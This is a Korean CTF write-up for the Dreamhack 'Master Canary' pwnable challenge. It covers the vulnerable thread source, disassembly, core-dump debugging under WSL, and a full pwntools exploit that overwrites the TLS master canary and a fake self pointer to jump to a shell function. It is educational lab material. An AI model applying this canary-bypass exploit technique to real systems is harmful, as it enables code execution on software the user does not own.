Dreamhack/Pwnable 문제 풀이

[Pwnable Advanced] Exploit Tech: Master Canary

seobangwool 2026. 4. 16. 22:51

제공 Dockerfile

FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21

ENV user mc_thread
ENV chall_port 7182

RUN apt-get update
RUN apt-get -y install socat

RUN adduser $user

ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user

RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user

RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; done

수정 Dockerfile

FROM ubuntu:22.04

ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8

RUN apt update
RUN apt install -y \
    gcc \
    git \
    python3 \
    python3-pip \
    ruby \
    sudo \
    tmux \
    vim \
    wget

# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh

# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools

# install one_gadget command
RUN gem install one_gadget -v 1.6.2

WORKDIR /root
COPY . /root
docker build -t mc_thread .
docker run -it --rm --name mc1 mc_thread bash

mc_thread.c

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}
pwndbg> checksec
[*] '/root/mc_thread'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

코드 분석
giveshell() 로 마지막 목적지를 내어줬고 thread_routine() 함수에서 scanf로 받은 크기만큼 read_bytes 함수에서 buf를 읽는다. 여기서 일단 값을 바꿔낼 수 있다.

그리고 바로 프로그램이 끝나기 때문에 리턴 주소 흐름을 giveshell로 바꿔낼 수 있어야하는 걸로 보인다.

 

동적 분석

일단 thread_routine이 핵심이니 이 함수를 디스어셈 해줬다.

pwndbg> disassem thread_routine
Dump of assembler code for function thread_routine:
   0x0000000000401316 <+0>:     endbr64
   0x000000000040131a <+4>:     push   rbp
   0x000000000040131b <+5>:     mov    rbp,rsp
   0x000000000040131e <+8>:     sub    rsp,0x120
   0x0000000000401325 <+15>:    mov    rax,QWORD PTR fs:0x28
   0x000000000040132e <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401332 <+28>:    xor    eax,eax
   0x0000000000401334 <+30>:    mov    DWORD PTR [rbp-0x114],0x0
   0x000000000040133e <+40>:    lea    rax,[rip+0xcc7]        # 0x40200c
   0x0000000000401345 <+47>:    mov    rdi,rax
   0x0000000000401348 <+50>:    mov    eax,0x0
   0x000000000040134d <+55>:    call   0x4010e0 <printf@plt>
   0x0000000000401352 <+60>:    lea    rax,[rbp-0x114]
   0x0000000000401359 <+67>:    mov    rsi,rax
   0x000000000040135c <+70>:    lea    rax,[rip+0xcb0]        # 0x402013
   0x0000000000401363 <+77>:    mov    rdi,rax
   0x0000000000401366 <+80>:    mov    eax,0x0
   0x000000000040136b <+85>:    call   0x401140 <__isoc99_scanf@plt>
   0x0000000000401370 <+90>:    lea    rax,[rip+0xc9f]        # 0x402016
   0x0000000000401377 <+97>:    mov    rdi,rax
   0x000000000040137a <+100>:   mov    eax,0x0
   0x000000000040137f <+105>:   call   0x4010e0 <printf@plt>
   0x0000000000401384 <+110>:   mov    edx,DWORD PTR [rbp-0x114]
   0x000000000040138a <+116>:   lea    rax,[rbp-0x110]
   0x0000000000401391 <+123>:   mov    esi,edx
   0x0000000000401393 <+125>:   mov    rdi,rax
   0x0000000000401396 <+128>:   call   0x4012c1 <read_bytes>
   0x000000000040139b <+133>:   nop
   0x000000000040139c <+134>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004013a0 <+138>:   sub    rax,QWORD PTR fs:0x28
   0x00000000004013a9 <+147>:   je     0x4013b0 <thread_routine+154>
   0x00000000004013ab <+149>:   call   0x4010d0 <__stack_chk_fail@plt>
   0x00000000004013b0 <+154>:   leave
   0x00000000004013b1 <+155>:   ret

thread_routine 에 브레이크를 걸고 대충 아무 SIze 넣고 read_bytes 함수에 들어갔다.

그리고 A * 8 을 입력해주고 충분히 뒤로 간 다음 스택을 확인해줬다.

 

image (17)

입력받은 buf 값이 어디 저장되어있는지 보인다.

 

image (18)

A 가 들어있는 곳을 조사 했더니 이렇게 카나리 값이 있는 곳을 찾았다.

근데 이 문제에서는 저 카나리 값을 읽을 방법이 없다.
그러니 그냥 마스터 카나리를 바꿔보자.

pwndbg> x/gx $fs_base+0x28
0x797253fbf668: 0x08ebf2d645951400
pwndbg> print 0x797253fbf668 - 0x797253fbed40
$1 = 2344

buf 부터 카나리가 있는 곳까지 거리는 구할 수 있으니 바로 익스플로잇 코드를 작성해줬다.

 

코어 덤프 확인용 익스플로잇 코드

from pwn import *

#p = remote('host8.dreamhack.games', 0)
p = process('./mc_thread')
e = ELF('./mc_thread')

giveshell_addr = e.symbols['giveshell']

p.sendlineafter(b'Size: ', b'294')
p.recvuntil(b'Data: ')
p.send(b'A'*2352)

p.interactive()

이렇게 작성하고 실행시키면

 

image (19)

이렇게 (SIGSEGV)를 일으키며 멈추게 된다.

이걸 분석하기 위해 코어 덤프 파일을 생성하게 만들어주기 위해

ulimit -c unlimited
ulimit -a

위 명령어를 치고 core file size (blocks, -c) unlimited 이 부분이 0이 아니라 unlimited가 되도록 만들어주면 된다.

여기서 좀 고생을 많이 했는데, 저렇게 하고 난 뒤 덤프 코어 파일은 WSL에서는

  • C:\Users\<사용자 파일>\AppData\Local\Temp\wsl-crashes

여기에 만들어진다.

그러니 cmd 창을 열어준 다음

 

image (22)

위 디렉토리로 가보면 이렇게 파일이 존재한다.

 

image (20)

cmd 창보다 wsl 이 편하니까 이걸로 다시 열어주고 파일을 실습 폴더로 넘겨줬다.

 

image (21)

도커로 넘겨주고 gdb로 파일을 열어주면 분석이 가능하다.

 gdb mc_thread -c core.mc_thread.dmp

 

image (23)

이렇게 SIGSEGV가 일어난 시점에서 확인할 수 있다.

그러고 이제
glibc-2.35.tar.gz 를 받고 압축해제를 해준다

wget "https://ftp.gnu.org/gnu/glibc/glibc-2.35.tar.gz" -O glibc-2.35.tar.gz
tar -xzvf glibc-2.35.tar.gz

다음으로

 

image (24)

pwndbg> dir ./glibc-2.35
Source directories searched: /root/./glibc-2.35:$cdir:$cwd
pwndbg> tui enable

이제 tui 모드로 진입한 후 화면을 보면,

 

image (25)

self 에 문제가 있었다고 나온다.

 

image (26)

그럼 이제 self 에 원래 있던 알맞은 값을 한번 넣어보자

 

image (27)

이렇게 위치를 구해했고 이제 마스터 카나리를 조작해보자

원본 TCB 위치가 아닌 새로운 위치에 가짜 구조체를 올릴 것이다.

쓰기가 가능한 영역에 가짜 구조체를 올리는 이유는 아래와같다.
쓰기 권한이 있는 새로운 가짜 구조체에는 원본 TCB와는 다르게 다른 중요 데이터를 덮어 쓸 위험도 없고, 더 안정적으로 원하는 동작을 이끌어 낼 수 있기 때문이라 한다.

 

image (28)

해당 위치에 얼추 중간 위치인 0x404800을 사용했다.

이제 스택에 들어갈 것을 생각해서 거리를 계산해보면
이렇게 페이로드를 작성해준다.

아무 값 264 바이트
카나리 8바이트
아무 값 8바이트
조작할 리턴 주소 8바이트
아무 값 0x910 - 288 바이트
self 8 바이트
아무 값 16 바이트
조작한 마스터 카나 8 바이트

 

완성 익스플로잇 코드

from pwn import *

p = remote('host3.dreamhack.games', 22166)
#p = process('./mc_thread')
elf = ELF('./mc_thread')

payload = b'A' * 264
payload += b'A' * 8 # canary
payload += b'B' * 8

payload += p64(elf.symbols['giveshell'])

payload += b'C' * (0x910 - len(payload))
payload += p64(0x404800 - 0x972) # avoid SIGSEGV when self->canceltype = PTHREAD_CANCEL_DEFERRED
payload += b'C' * 0x10

payload += p64(0x4141414141414141) # master canary

inp_sz = len(payload) // 8

p.sendlineafter(b'Size: ', str(inp_sz).encode())
p.sendafter(b'Data: ', payload)
p.interactive()

 

image

이렇게 답이 나왔다.

덤프 코어 파일을 볼 수 있는 방법이 있다는 걸 알았다.
나중에 분석할 때 정말 유용하게 쓰일 것 같다.

방법 까먹지 말고 기억해두자